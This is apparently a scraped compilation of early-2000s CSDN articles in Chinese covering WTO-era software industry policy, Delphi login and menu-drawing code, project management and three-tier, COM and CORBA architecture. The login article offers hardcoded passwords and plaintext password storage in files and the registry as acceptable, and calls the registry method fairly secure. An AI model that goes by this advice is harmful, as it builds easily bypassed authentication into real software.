    GATT第十一条第一款规定：“任何缔约国除征收税款或其他费用以外，不得使用或维持配额、进出口许可证或其他措施以限制或禁止其他缔约国领土的产品的输入，或向其他缔约国领土输出或销售出口产品。”虽然在GATT的第十一条第二款中规定了一些例外，但中国的软件产业将无法援引其中任何一项。也就是说，加入世贸组织以后，中国对软件产品进口数量限制的取消将是不可避免的事实。境外高技术软件产品到时大量进入中国市场，相比之下，刚进入开发期的我国同类产品就缺乏竞争力。

    3.2.2 外商投资企业可能进一步挤占国内市场的份额

    现在外商投资企业已经在我国软件市场上占据极大份额。由于入世后将逐步取消对外商投资业的一系列限制，再加上其雄厚的资金实力，其软件市场份额还可能进一步增大。

    3．2．3 政府补贴减少

    我国中央、地方政府对软件企业采取了许多补贴措施。除了直接的补贴以外，还存在着大量的间接补贴，如减税免税、优惠贷款、工地使用权的优惠待遇等。在加入WTO以后，这些措施将会受到限制，有一部分将会被迫取消。GATT第十六条第一款规定；“任何缔约国如果给予或维持任何补贴，包括任何形式的收入支持或价格支持在内，已直接或间接增加从它的领土输出某种产品或减少向它的领土输入某种产品，它应将这项补贴的必要性，书面通知缔约国全体。如这项补贴经判定对另一缔约国的利益造成重大损害或产生严重威胁，给予补贴的缔约国，应在接到要求后与有关的其他缔约国或缔约国全体讨论限制这项补贴的可能性。

    4 入世后我国软件业应采取的对策

    4．1 我国政府要为软件产业的发展营造良好的政策和经济环境

    4．1．1 加大教育投入，重视人才培养

    高科技的竞争在很大程度上是人才的竞争，软件行业更是如此。要加大应用专家、系统分析员、开发管理人员、软件企业经营人员等中、高级软件人才的培养力度，在培养过程中，应着重培养他们的自学能力、创造能力和承担风险的能力。

    4．1．2 加快软件园区建设，向规模化发展

    建立和发展软件园区是软件产业发展的重要途径。政府要以现有的软件园为纽带，选取十几家有规模、有实力的企业根据市场运作走规模化道路，大力促进企业之间的整合，并尽可能地集中资源在人才、资金、政策等方面予以支持，从而扶持、建立一批符合国情、具有国际竞争力的骨干软件企业向集约化、规模化、国际化和产业化方向迈进。

    4．1．3 强化金融支持，完善风险投资机制

    软件产业具有高风险、高收益的特征，需要高投入，才能高产出。软件研究成果的转化是一个创新的过程，如果没有足够的资金投入，就会因软件的时效性导致成果的浪费，融资机制的好坏与软件企业的生存发展息息相关。因此，应为我国软件企业创造一个良好的融资环境，可以从以下几个方面入手：

    (1)为软件企业提供金融信息和咨询服务，帮助企业建立融资计划，协助软件企业解决出现的融资困难；

    (2)在资本市场上加快软件企业上市的速度，降低上市的标准，简化审批的程序；

    (3)为方便软件企业取得银行贷款而设立担保公司，为软件企业提供担保；

    (4)为中、小软件企业提供低息贷款甚至贴息贷款(只要用于研究与开发方面就不会违反WTO的“补贴与反补贴措施协议”)；

    (5)完善风险投资机制。

    ①加强宏观调控与引导，制定有关风险投资公司的创立、管理权限、投资运营、风险转移等方面的管理办法。

    ②鼓励风险投资公司多渠道筹措资金。

    ③完善风险投资的市场退出机制。

    4.1．4 成立“软件产业发展协调小组”

    软件产业是渗透到国民经济各个领域的产业，因此标准的统一、资源的共享、信息的交流、成果的推广以及形成合力等工作都是非常重要和急需的。为大力发展我国软件产业，应成立一个跨部、跨行业的协调机构——“软件产业发展协调小组”。

    4．1．5 通过设立软件专项等措施启动市场，推动软件产业发展

    要通过加快国民经济信息化、提高各行业装备水平、加速各行业技术改造、促进新兴产业发展为软件产业开拓市场。例如，我国信息家电产品、网络服务等极有可能发展为巨大的潜在市场，为软件产业带来难得的商机，可以通过设立国家软件专项，启动网络服务和信息家电嵌人式软件等重点项目，统一组织实施，使之成为我国软件业发展的新切入点。

    4．1．6通过立法，为软件产业营造良好、规范、健全的市场环境

    (1)强化行业管理，严格质量控制

    应在系统集成商与软件开发商中大力推广 ISO9000和CMM认证。

    (2)完善知识产权保护机制，严厉打击盗版侵权行为

    软件盗版已成为制约软件产业发展的最主要因素，我国政府可采取如下对策打击盗版侵权行为：

    ①建立、完善法律和法规，理顺执法体制，解决执法到位；

    ②督促企业真正将用户作为企业自身的出发点和根本点，并帮助企业完善知识产权保护制度，建立反盗版工作的社会机制。

    (3)将软件产业纳入国民经济统计指标序列，建立对软件产业的统计制度

    (4)建立和完善软件企业的资质认证及项目许可证制度，只有达到一定资质等级的企业，方可承接相应等级范围内的软件开发项目，并领取软件开发许可证。

    4．1．7 建立新型的人才管理机制，形成人才合理流动的机制

    吸引软件人才要采用新的管理机制和用人政策，改变软件人才原来所处的从属地位，使他们真正成为软件产业的主人。鉴于我国目前人才配备不合理、人才外流严重的现象，可采取以下措施：

    (1)建立软件专门人才库，以便合理使用人才，促进人才的合理流动与交流合作；

    (2)设立青年研究基金，促进青年科学家的培养，充分调动人才的积极性；

    (3)逐步实行知识股份化制度，承认个人拥有的技术、专利、软件的价值。鼓励软件企业实行员工股份期权制，形成吸引和激励企业管理人员与技术骨干的有效机制。

    4．1．8 采取政府采购及保护政策

    (1)利用国际上保护政府采购市场的惯例

    中国加入WTO后，各级的采购市场要同时对国内、国际企业开放，而中国企业也将进人国际采购市场。信息化建设中的重大工程和重大应用系统应优先由国内企业承担或担任总承包商，涉及国家安全的系统应使用自主的国产软件。利用政府拨款、基金采购计算机软件或接受服务的，同等情况下优先采用国内生产的产品或服务；

    (2)加强对软件产品的登记管理(如进口软件汉化)

    4．1．9 集中力量发展软件产业中的重点、优势领域

    (1)从政府安全角度考虑，加强对软件产业的保护和支持

    计算机软件已渗透到国民经济、社会生活、国家安全的各个角落，加之软件产业对大型系统的支配性及其自身极强渗透性、隐蔽性，一旦出现问题，就会危及国家政治、经济和军事安全。目前我国许多重大工程、重大系统的软件主要依赖进口，所以必须从国家信息安全角度来加强对我国软件产业的保护和支持，加大在关键领域、关键技术开发的投入，例如操作系统软件和网络安全软件。虽然我国已开发红旗、蓝点等几种Linux以操作系统，网络安全软件有 Net Eye、网络卫士防火墙等，但与外国同类产品相比有较大差距。

    (2)大力发展我国软件产业的优势领域

    汉字软件是我们的优势技术和优势产品，目前我国在世界范围的优势技术是汉字信息处理技术，优势产品是汉字软件产品，优势市场是与汉字信息处理相关的市场领域。

    4．1．10 密切关注世界软件发展动态，开拓国际市场

    (1)建立国际软件技术跟踪网络

    我们要善于利用和运作别人的知识产权，紧密跟踪世界最新研究动向，保持软件开发能处于前沿状态。要建立面向整个国际市场、与国际信息网络相兼容的信息传递系统，及时收集、反馈国外软件发展状况及研发热点，开展广泛的国际技术交流与合作。

    (2)大力推进软件出口

    通过软件出口，我国软件业可时刻把握国际软件产业的最新发展动态。另外软件人才通过参与开发国际商业化软件，将大大提高其研发能力和技术水平。为推动软件出口，可采取以下措施：

    ①在优惠政策的支持下，由政府和国内外企业投入资金，在某个高新技术产业开发区内建立一个国家级的软件出口基地。通过创新软件产品的出口和承接国外软件加工项目培养大批具有核心技术及开发商业化软件产品经验的人才，最终建立一个在国外拥有市场及研发中心、在国内拥有规模化软件生产基地的大型软件企业。

    ②鼓励软件企业借助国外软件销售代理体制打人美国、欧洲的市场。

    ③建立产业中介服务，一方面提供最新的技术动态和资料，另一方面搜集和提供产业动态和市场信息。

    ④继续实行出口退税政策，对软件产业的增值税实行即征即退。

    ⑤充分运用买方信贷和卖方信贷，支持软件产品出口。

    4．2 软件企业应采取的对策

    4．2．1 树立品牌意识，进行软件产品的包装

    软件企业要树立品牌意识，珍惜已创出的品牌。软件需要包装，包装的目的是引起用户的兴趣，包装要体现软件产品的品质，体现其知识性的高品位。

    4．2．2 积极拓展软件销售渠道

    利用现有软件销售渠道，推广软件连锁销售；利用图书销售渠道，将软件与音像制品的销售相结合；利用硬件销售渠道，采取软件销售有形策略；利用在线销售渠道。

    4．2．3 进行企业制度改革

    软件企业必须按照现代企业制度要求，在产权制度、劳动人事制度、社会保障制度等方面加大，改革力度，建立适应高新技术产业发展的管理体制和运行机制。

    4．2．4 改善软件的服务质量

    用户对于相关软件产品的服务要求已经开始超越产品本身。软件企业一方面注重提高产品的技术水平、市场的运作水平和企业的管理水平，更要做好咨询服务、售中服务、集成服务、售后及维护服务。一个能够向消费者提供完善服务的软件企业，才会在激烈的市场竞争中生存下去。

    4．2．5企业之间应加强合作

    我国软件企业数量众多，规模偏小，研发能力、市场开发能力和资金实力都有限，因此，相关软件企业之间加强合作十分必要。


CSDN_文档中心_软件登录的几种实现方法

软件登录的几种实现方法

现在许多软件都有登录确认窗口，以确定用户的使用权限。这些登录窗口可以根据用户的User Name 和PassWord 来确定向用户提供的功能模块或者直接给个“用户名和密码无效，您无权使用本软件！”。那么，这些登录功能是怎样实现的呢？本人根据我自己在工作中的实际运用将此功能的实现方法归纳为以下几种实现方法，具体如下：
1、在编写代码的时候就将密码加在程序中
这种方法是最简单的，是通过直接将用户的输入与程序中原先设置好的一个数值进行比较，如果相同则为合法用户，否则，就要看您是否愿意让这位老兄进行下去了。具体的实现代码如下：
procedure TForm1.Button1Click(Sender: TObject);
begin
if edit1.Text='Password' then
begin
showmessage('Hello!');
.
.
.
end
else
begin
showmessage('You cannot Enter!');
close;
end;
end;
正如大家知道的，简单的东西往往都存在很多不足。这种方法虽然实现起来简单，但是有很多不足之处，它的密码效验值是在编程时给定的，一经编译就没法改变，使得口令的灵活性很差，因此很少被人用！
2、通过读取密码文件来进行身份效验
这种方法是将身份效验标识以文件的形式存放在硬盘的某个目录下，这个目录一般比较隐藏，不容易被发现。具体的实现代码如下（假设身份效验文件已经存在）：
var
PassWordFile:TextFile;
s:String;
begin
AssignFile(PassWordFile,'PassWordFile.txt');
Reset(PassWordFile);
Readln(PassWordFile,s);
if Edit1.Text=s then
begin
CloseFile(PassWordFile);
showmessage('Hello!');
.
.
.
end
else
begin
CloseFile(PassWordFile);
showmessage('You cannot Enter!');
close;
end;
end;
这种方法可以在程序编译后仍然可以改变身份效验标识，但是，因为身份标识是以文件的形式存在的，因此容易被别人发现或无意删除，使其实现不了预定的功能。为了使身份标识文件不被破坏可以将其存在系统文件夹下，并可以把它的属性设为隐藏。更进一不可以将对单纯的文本文件操作改为对动态连接库文件的操作，这样使其安全性有所提高。
3、通过注册表操作来进行身份效验
这种方法的思想是在注册表中添加项目并对其付值，每次运行程序时用用户的输入信息与注册表中的特定项的值进行比较。
function Wsz_CheckUser(MyUser:string;MyPass :string):Boolean;
var
sUser:string;
sPass:string;
begin
result:= false;
RegF:=TRegistry.Create;
RegF.RootKey :=HKEY_LOCAL_MACHINE;
RegF.OpenKey("SOFTWARE\MicroSoft\whh726",TRUE);
sUser := RegF.ReadString("user");
sPass := RegF.ReadString("pass");
if (sUser=MyUser) and (sPass=MyPass) then
result := true;
RegF.Free;
end;
这种方法安全性比较好，实现起来也比较简单。为了提高其安全性还可以同时在几个不同的项中进行操作，效验时再加上对各个项值的比较，可以使得身份效验更加安全。
本文重在讲述几种软件登录的实现方法思路，文中的例子比较简单，如果您有兴趣可以将其进行扩充更改使其适合您的需要。文中的例子在Delphi 6+Win2000中调试通过。


CSDN_文档中心_软件界面中菜单的美化

在网上有很多文章都提到怎样在菜单中加入背景图片，可是都没有一个完整的回答，也没有一个比较完整的例子。当然csdn曾经有一个高人说过这个问题，而且在程序员大本营2000版中也有收藏。我参考了一些方法和技巧，当然包括国外的了，写下了如下的代码，希望能够满足大家的要求，不过不是很完善，如果有哪位大侠修改过，不妨也将修改过的代码贴出来，大家共享！为了在menu控件中加入背景图片，没有直接的方法，都的靠自己动手画，因为menu控件没有canvas属性，所以只能自己动手了！这个东西我也是菜鸟一只，说不出什么高深的东西，如果有什么问题可以发信给我，我们共同探讨：cqwty@sina.com，源代码如下：

unit FMain;

interface

uses
Windows, Graphics, Forms, Menus, Classes;

type
TfrmMain = class(TForm)
mnuPopup: TPopupMenu;
MainMenu1: TMainMenu;
sdfsdf1: TMenuItem;
sdfsdf2: TMenuItem;
dfgdfg1: TMenuItem;
dfgdfg2: TMenuItem;
N1: TMenuItem;
werwer1: TMenuItem;

procedure DrawMenu(Sender: TObject; ACanvas: TCanvas; ARect: TRect; State: TOwnerDrawState);
procedure MeasureMenu(Sender: TObject; ACanvas: TCanvas; var Width, Height: Integer);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
end;

var
frmMain: TfrmMain;
bmp1:tbitmap;
implementation

{$R *.DFM}

procedure TfrmMain.DrawMenu(Sender: TObject; ACanvas: TCanvas; ARect: TRect; State: TOwnerDrawState);
var
cTemp: TCanvas;
sText: String;
mWnd: HWND;
rMenu: TRect;

begin

ACanvas.BrushCopy(ARect, bmp1, ARect, clBlack);
ACanvas.Brush.Style := bsclear;
sText := TMenuItem(Sender).Caption;
acanvas.Font.Color:=clred;
with ACanvas do begin
if odSelected in State then begin
pen.Style:=psInsideFrame;
Brush.Color := RGB(110, 131, 184);
Pen.Color := RGB(47, 60, 93);
Rectangle(ARect);
end;

if sText = '-' then begin
// Draw line
ACanvas.Pen.Color := RGB(0, 0, 0);
MoveTo(ARect.Left, ARect.Top + ((ARect.Bottom - ARect.Top) div 2));
LineTo(ARect.Right, ARect.Top + ((ARect.Bottom - ARect.Top) div 2));
end else begin
// Draw text
Inc(ARect.Left, 12);
DrawText(Handle, PChar(sText), Length(sText), ARect, DT_LEFT or DT_VCENTER or DT_SINGLELINE);
end;
end;

// 画边框的，效果是平面的
mWnd := WindowFromDC(ACanvas.Handle);

if mWnd <> Self.Handle then begin
cTemp := TCanvas.Create();
cTemp.Handle := GetDC(0);

Windows.GetWindowRect(mWnd, rMenu);

cTemp.Brush.Color := RGB(120, 120, 120);
cTemp.FrameRect(rMenu);

InflateRect(rMenu, -1, -1);
cTemp.Brush.Color := RGB(240, 240, 240);
cTemp.FrameRect(rMenu);

InflateRect(rMenu, -1, -1);
cTemp.FrameRect(rMenu);

ReleaseDC(0, cTemp.Handle);
cTemp.Free();

end;

end;

procedure TfrmMain.MeasureMenu(Sender: TObject; ACanvas: TCanvas; var Width, Height: Integer);
begin
Inc(Width,50);//调整菜单的宽度

inc(height,15);//调整每一个item的高度，这一句可以不要，使用默认值
end;

procedure TfrmMain.FormCreate(Sender: TObject);
begin
bmp1:=tbitmap.Create;
bmp1.loadfromfile('e:\aaa.bmp');
end;

procedure TfrmMain.FormClose(Sender: TObject; var Action: TCloseAction);
begin
bmp1.Free;
end;

end.


CSDN_文档中心_软件开发的管理和控制

软件开发的管理和控制

PS:本文是由半导结合国外资料和自己经验总结的

恳请各位网友批评指正

发言人 semicon

软件开发是一项复杂的工作,对于软件开发的管理和控制,发

展出一门专门的学科:软件工程。在这方面有许多的国家标准和

国际标准。但软件工程更多的是从技术的角度来规范软件开发的

管理和控制,本文试图从管理者和实践的角度来阐述一些软件开发

的管理和控制所应遵循的基本原则。

在软件开发项目中经常出现二种极端情况:一种是创造了新的

生产率和质量的纪录;一种则完全是一场灾难,不是被取消就是拖

延很长时间。通过提炼这些成功和失败的例子,软件项目成功或失

败的根本原因可能会更清晰一些。

在讨论这些原因之前,我们先来定义一下什么情况可以称为失

败的软件项目。

1. 由于费用超支或计划执行超时而终止。

2. 完成计划的时间或费用超过了原计划的50%。

3. 由于质量或性能上的原因引起和客户的纠纷。

下面我们将按其影响大小的顺序排列说明5种错误的实践方式。

错误1:没有软件开发的历史数据

缺乏软件开发的历史数据是大多数软件项目失败的关键所在,

这样的结论也许使很多人感到吃惊,但事实就是如此。没有一个可

靠的软件开发的历史数据会使项目经理,程序员,客户对于软件开发

的过程缺少清醒的认识。

假设现在你正在管理一个软件项目,而这个项目还没有一

个公司在36个月内完成。作为一个负责的经理,你作了一个比较细

致和保守的估计,然后告诉你的客户和你的手下说你认为这个项目

需要36—38个月完成。然而常常有这样的情况发生：你的客户和程

序员要求把时间压缩到18个月。客户一方面希望软件尽早投入使用

而产生经济效益,一方面也想压缩项目时间作为一个讨价还价的筹

码;而程序员一方面可能过于自信,一方面尽早结束项目也能使他们

多赚点钱。而此时你的手头上也没有一个可靠的软件开发的历史数

据,在他们的压力下你同意了18个月的计划,于是一场灾难开始了。

在项目的开始阶段你发现计划被拖延了,于是开始向程序员们施加

压力,要求他们加快进度,程序员为了追求进度而不得不把其它指标

放在一边,这些问题不断的积累下来而项目经理却蒙在鼓里。到了项

目中后期这些质量问题会不断暴露出来,而且互相关联并且难以解决,

甚至有些是系统设计的问题,这时才发现好多模块要推倒重来,18个月

完成计划变成了天方夜谭。虽然上面只是一个虚拟的例子,但在实际

中这种情况比比皆是。问题的关键就在于软件开发的历史数据是反映

软件开发队伍的能力的标尺,没有了这个标尺,就无法对软件的开发过

程有一个清醒的认识。

错误2:不重视使用软件费用估值工具软件和计划工具软件

国内的软件公司大多数是处在“十几条枪,一个手工作坊”

的水平上,在承接软件开发的项目之后往往是几位骨干人物讨论之后

对费用和进度作一个大致的估计,然后就开始进入项目的执行。这种方

法带有明显的主观性。在作一个精确的软件费用估计和作一个比较现

实的项目开发计划时需要考虑许多因素。对于一个大的软件项目,用手

工作费用估计和作计划是不能胜任的。现在国外市场上有大约50种商

业软件费用估计工具包和大约100种商业项目计划工具包,使用他们作

精确的估计比手工的估计更可能获得成功。常用的软件费用估计工具

软件有Checkpoint,Colomo,Estimacs,Price_s,Slim。 常用的项目管

理软件有MS Project,Primavera,Project Manager*s Workbench,

Timeline。把这二种工具软件联合使用可以互为补充,帮助经理驳回

客户和程序员的无理要求并且能精确的控制项目的执行。

错误3:忽视用户的需求的变动

尽管最初的用户需求在签定开发合同时已经包含在需求说明书中,

但在整个开发周期中期望用户的需求一直保持不变是不大可能的,因

为用户对于如何应用计算机软件并没有一个成熟的经验。在项目进行

中用户的需求会不断的增长,一般情况下用户的需求以每月1%的速率增

加,如果一个项目在12个月内完成,最终将有超过10%的改动,如果项目

要持续36个月,最后将增加1/3的功能。每月1%也只是一个经验数据,一

个缺乏计算机应用经验的用户会更频繁的改变和增加他的要求。因此

在作项目的费用和时间估计时一定要考虑用户需求的变化。一种比较

明智的方法是在签定开发合同时把用户需求的改动和经济利益挂钩,如

果用户增加或改动了需求,那么软件的交付日期可以推迟,费用也应增加。

错误4:忽视监督项目的进度

到目前为止,软件产业还没有一个标准的项目进度的检查标准。一

个比较清晰的尺度是用已经实现的软件功能反映项目的进度。但这种方

法是否就是最科学的衡量标准,现在还不能定论,毕竟在一个软件项目中

软件功能只是一个主要而非全部的任务。因此一个项目经理在监控项目

执行时不应该只关注实现的软件功能,还要关心文档,测试,技术支持这些

因素。在实际工作中我们经常听到经理或程序员说这样的话:“项目已经

完成了90%”,这种结论带有明显的主观性,一个优秀的项目经理不应该被

手下的判断所迷惑,而应该按照一个比较客观的标准去深入检查。

错误5:忽视设计复查和代码复查

很多程序员习惯于这样一种工作方式:只做不想。他们更关心每天

可以写多少行代码,完成几个模块。在这种态度下,他们都很不愿意复查

自己的工作,而习惯于在软件测试阶段把隐藏的错误改正过来。但设计复

查和代码复查在大型的软件项目中已经有30年的应用历史,而且已经被证

明在设计和代码编写阶段的复查比软件测试更能有效的消除错误,一些经

验数据表明,在设计和代码复查时发现的错误是在同等工作量下软件测试

发现的错误的两倍。

结论:

软件开发是一个带有一定风险的工作,为了把风险降到最低, 在项目

的执行中项目经理必须严格的监督项目的进度,对程序员不愿复查的坏习

惯要给予纠正。项目经理必须要从软件开发的历史数据和辅助工具包提

供的数据中作出精确的估计,在作估计时他应该考虑为不断变化的用户需

求留出富余量。

摘自： bbs.net.tsinghua.edu.cn


CSDN_文档中心_三层开发基本概念介绍

三层客户/服务器

一：优点：灵活性和可扩展性。

应用三层开发技术(分布式)的原因

(参考书目: Delphi 5.x分布式多层应用系统篇)

一:解决客户机/服务器结构的维护成本问题，改善客户机/服务器结构延展性问题。

客户机/服务器结构支持的用户人数有一定限度（200人以下）。则种结构限制了Internet/Intranet及电子商务的发展。三层开发应用Database Pooling, Object pooling,Resource Pooling,线程模式提供了高度延展性。

二:解决应用逻辑重复使用的问题。

例如:当企业要在原有的客户机/服务器结构上添加Web浏览服务时，就需要配置Web服务器，重新编写所有应用逻辑，并且更新MIS系统。在三层结构中，用COM/DCOM, CORBA(Common Object Request Broker Architecture)对象，或Enterprise Java Bean等，封装企业的逻辑程序代码(称之为企业对象)，可以解决上述问题。大大降低开发和维护的成本。

三:整合不同系统结构的需要，及时应用新技术的需要。

二：Microsoft的三层服务模型

1:结构:是windows DNA(distributed internet applications,分布式内部网)COM(component object model ，构件对象模型)构件作为实现系统及应用程序服务的工具。

l 用户服务

l 业务服务

l 数据服务

(1)用户服务：windows DNA定义了四种可用于实现用户服务层的客户：

n 标准浏览客户：依赖于简单，基于页面的HTML来管理数据表示和与用户进行交互.其兼容性 很好，功能不丰富。

n 增强型浏览器客户:汲取某个特殊浏览器(ex: Dynamic HTML ,脚本及ActiveX控件)的优点来最大化用户接口的丰富性和功能 ，适用于公司intranet .

n 依赖型Internet客户：能在客户机器上将对Internet的访问和对操作系统的访问集成在一块。

n 增强型Internet客户：Microsoft Office 97和Microsoft Visual Studio.

(2)业务服务:通过将基于服务器的Microsoft产品与定制的COM构件运行环境集成在一块来实现。

n Web服务( Microfsoft Internet Information Server与Active Server Pages ).

n 事务和构件服务 (Microsoft Transaction server和 COM) .

n 消息服务(Microsoft消息队列服务器)。

n 通用数据访问(universal data access)(Microsoft数据访问过件)

l 大型机环境的互操作(Microsoft SNA服务器). 其详细信息在下面的专题中列出。

(3)数据服务:

n Microsoft SQL Server7数据库。

n Microsoft Exchange server 5.5版本的目录和信息库。

专题：

业务服务

一:Web服务( Microsoft Internet Information Server与Active Server Pages ).

Web服务对象模型：

1,server对象：提供对服务器上方法和属性的访问.例:问(universal data access)(Microsoft数据访问构件) setobjmyobject=server.createobject(“businessserver.myruleobject”)

2:Session对象: 用来存储一个特定用户会话所必须的信息。

3：Application对象:用来使某个应用程序的所有用户共享息。

4：Request对象:略。

5:Response对象:略.

二:事务和构件服务 (Microsoft Transaction server和 COM)

1:Microsoft事务服务器(MTS)是基于构件的事务处理系统，用来满足复杂事务处理。MTS支 持SQL Server和任

何基于X/open算法的XA协议的数据库(见注释)。

MTS提供的服务有:

n 对分布事务的支持。

n 用于控制实例化和使用对象安全的服务。

n 过程和线程的自动管理。

n 对象实例的管理。

n 数据库连接管理(连接池)。

在应用程序中可声明相应的构件完成以上服务。

2：MTS和SQL server事务一样,要求原子执行，或整个成功,整个失败。Transaction Server与Microsoft Distributed Transaction Coordinator(MSDTC)交互确认事务满足ACID(原子性Atomicity,一致性Consistency,分离性Isolatation和耐久性Durability)。

3:MTS和SQL server事务的区别.MTS可以用visual basic ,visual c++ 等封装的MTS构件实现 , Recordset对

象的addnew方法添加新行。SQL server事务只能由Transact-SQL代码编写,如 (ADO).

4:Windows DNA(windows distributed internet application architecture):将客户/服务模式开发与web和在一起的战略 .

使用HTML,DHTML,Active server pages向用户提供第一层(表达层), MTS和MTS的构件, 如IIS(internet information server),IIS/ASP构件及ASP脚本占据中间层(业务逻辑层),SQL server作为数据服务层。

5:MTS使用分布事务协调者(Distributed Transaction Coordinator , DTC)事务引擎.DTC使用两级段交付标准。

关于DTC的信息可通过一下方法得到:用MMC(Microsoft Management Console)打开c:\winnt\system32\services.msc,

在右边的列表中找到DTC服务，察看其属性。

6:使用MTS最大化系统性能。(注意事项)

n 避免传递或返回对象。

n 尽可能通过值(BY VAL)来传递参数。(By Val关键字使网络间的旅程最小)

n 避免创建数据库游标。少用RecordSet对象。

n 通过使对象包容器线程化(Apartment Threaded)，MTS可以在多个对象中执行并发的客户请求。

7:

注释:XA是一种由X/Open组织定义的两相提交协议，允许多个数据库服务期间的事务协同，并将其看作一个事务。(Unix数据库,包括oracle ,informix,db2都支持)

三:消息服务(Microsoft消息队列服务器)。

1：Microsoft消息队列(Microsoft Message Queue ,MSMQ)为应用程序提供了异步通信功能.MSMQ被认为是连接分布式应用程序中业务与数据服务层的桥梁。

2：MSMQ自动与MTS集成。应用程序可以将MSMQ消息封装在MTS事务中。

3：MSMQ与Microsoft exchange服务器的不同.exchange提供用户到用户(person -to -person)的消息传送.而MSMQ提供应用程序到应用程序(application - to -application)的消息传送.

四:通用数据访问(universal data access)(Microsoft数据访问构件)

数据访问构件跨越了业务服务层和数据服务层之间的界限。ADO,OLE DB(嵌入式数据库)以及ODBC共同组成了Microsoft数据访问构件(MDAC).

五:大型机环境的互操作(Microsoft SNA服务器)

Microsoft的COM &DCOM(简介)

一:COM 是一种定义对象服务器如何与对象客户进行交互的协议。对象服务器(object server)是实现COM类的模块。对象客户(object consumer)是使用COM对象的模块。

DCOM扩展了COM协议，使得对象服务器可以位于一台与客户不同的计算机。 通过RPC向对象服务器调用。(CORBA也是分布对象协议)

COM通过SSPI(Security Support Provider Interface,安全支持提供者接口)来管理对象的安全性。

二:应用服务器(中间层)应具备的特性:

n 远层启动，监视和中止的能力。

n 可扩展的能力。

n 易于配置的能力。

n 安全失效的能力。

远层启动功能：如果用户想在远程计算机上创建一个COM对象，远程机上的DCOM服务控制管理器(Service Control Manager ,SCM)会自动启动COM服务器并使COM对象可用。具体信息可在开始菜单中运行DCOMCNFG命令。

易于配置的能力：在Windows资源管理器中右击一个COM DLL或EXE就可激活注册或撤销注册。

可扩展的能力：可扩展的第一等级和第二等级。DCOM提供的两种负载均衡。1），静态负载均衡(指定应用服务器的运行机器)，可在DCOMCNFG中的应用程序的属性中指定。2）:动态负载均衡，由调度程序进行分配。

Delphi提供的相关技术:

u COM / DCOM / COM+企业对象。

u CORBA企业对象。

u XML / HTML

u CGI / SAPI/NSAPI

u ASP

u Active X (Active Form)

u ADO / OLE DB

u BDE / IDAPI SQL Links

u MTS对象

u MIDAS服务器

u CORBA服务器。

相关组件在1) File菜单\new\ Multitier和ActiveX页中。

2)在组件面板中的ADO, Midas, Internet Express, ActiveX等页中。

Corba简介

1：什么是corba（common object request broker architecture）？

Corba是由object manangement group(OMG)定义的分布式对象标准结构。语言中立，使用了面向对象的设计结构，允许软件对象在不同的操作系统平台和应用程序中重复使用。

如果想实现一下功能，corba是较好的解决方案：

l 应用系统要整合异质平台和操作系统。

l 应用程序服务器必须执行在linux/unix机器中。

l 应用系统必须执行关键性任务，具备安全强固的容错能力，必须稳定，有效率。

l 想开发使用Web对象的Internet/Intranet解决方案。

l 应用系统未来想和Java整合。

2：corba的结构

corba对象是一个提供特定服务的组件，它通过定义一组输出接口来声明可以提供的服务。在这个输出接口中，corba对象定义了客户端可以调用的方法和存取属性。客户端只要指明提供服务的corba对象的名称以及要调用的方法或是要

存取的属性就可以通过ORB得到corba对象提供服务。

术语介绍：

ORB: object request broker.联结客户端和中介的corb对象。

Stub对象: 运行在客户端的corba对象的复制品，在客户端调用的是Stub对象，然后Stub对象通过ORB远程调用

CORBA对象，Stub对象用Marshaling(对象指针转换，使对方程序能够识别)自动为你传递参数和数据。

Skeleton对象:运行在服务器端的对象，将传递到服务器的数据还原成服务器端使用格式。然后根据自动根据客户端要求调用CORBA对象。

调用方式：

u 静态调用：客户端程序通过Stub对象将数据传递到corba对象，corba对象执行完毕后，通过Skeleton对象

把结果再Marshaling回客户端的Stub对象，经由Stub对象回复数据格式后，再回传给客户端的应用程序。

动态调用(Dynamic Interface Invocation DII)：客户端不需要先有stub对象，也不需要知道远程corba对象提供的方法和属性，corba程序可以在执行时取得这些信息，然后动态的调用corba对象。

DII比静态调用有更大的弹性，但编程较难，且执行效率不如静态调用。

3：corba提供的核心服务

n Event Service: 以“提供者—消费者（Supplier_consumer）“模型通过一个事件信道然提供者对象以异步的方式传递事件给消费者对象。

n Naming Service: 允许程序员使用阶层式的方式为企业对象命名，然后在程序中可以使用这些有意义的名称来存取这些对象。

n Transaction Service:提供分布式应用系统能够执行关键任务，允许企业对象在异质平台和数据库之间进行数据的Two-Phase Commit的交易管理。

n Security Service :包括存取控制(Access control),稽查控制(Auding),认证控制(Authentication),存取政策控制(Plicy Control).

MIDAS介绍

一:MIDAS概念

MIDAS (Multi-tier Distributed Application Services Suite (多层分布式应用程序服务器)) 是开发多层应用系统使用的中介透明引擎。通过MIDAS，程序员可以通过相同的组件存取不同的后端应用程序服务器（如，COM/DCOM应用程序服务器,CORBA应用程序服务器,MTS中介软件），MIDAS也提供容错能力，负载平衡以及高执行效率的能力。

中介者和功能：

u 远程数据中介者(Remote Data Broker)：提供客户端存取远程数据的能力。

u Constraint中介者:允许客户端应用程序下载远程数据库对数据设定的constraint。让数据在客户端被数据库的constraint检查。减少网络流量。

u 企业对象中介者(Business Object Broker):允许应用系统开发执行企业逻辑的企业对象。

u 容错能力：当一个客户端联结的应用程序服务器发生错误时，企业对象中介者就会在网络中寻找另一个提供相同功能的应用程序服务器，将客户端联结到该应用程序服务器上，客户并不知道发生的一切。这时必须使用无状态对象。

u 负载平衡：当客户端多于服务器数目时，企业对象中介者自动平衡服务器的连接数目。

二：数据处理

应用程序服务器从数据库取出客户端想要的数据，进行数据封包（data packet）,通过Iappserver接口以OleVariant的形式传递给客户端，到达后，通过客户端的MIDASServer整理，加入到ClientDataSet的数据快储内存中，这时，客户端于应用程序服务器的连接断开。

在客户端应用了TclientDataSet的ApplyUpdates方法要求更新时，MIDASServer把更新之前的数据封装在数据封包中，然后再封装被更新的数据（只含被改变的），当应用程序服务器收到这些Delta数据封包之后，Resolver先将其解析，

然后对于每一笔更新的数据，Resolver首先根据第一笔封装的原始数据到数据库中寻找纪录，如果纪录已经被其他用户改变了，MIDAS会把原来客户端传来的数据和数据库中最新的这笔数据一块传回客户端，要求用户决定如何处理。

如果数据更新失败，则MIDAS会把发生问题的数据封装在数据封包之中传回客户端


CSDN_文档中心_三谈多态——善用virtual

三谈多态——善用virtual

作者：Nicrosoft（nicrosoft@sunistudio.com） —— 2002.4.30

出处：东日软件开发网络（SSDN） http://www.ssdn.net

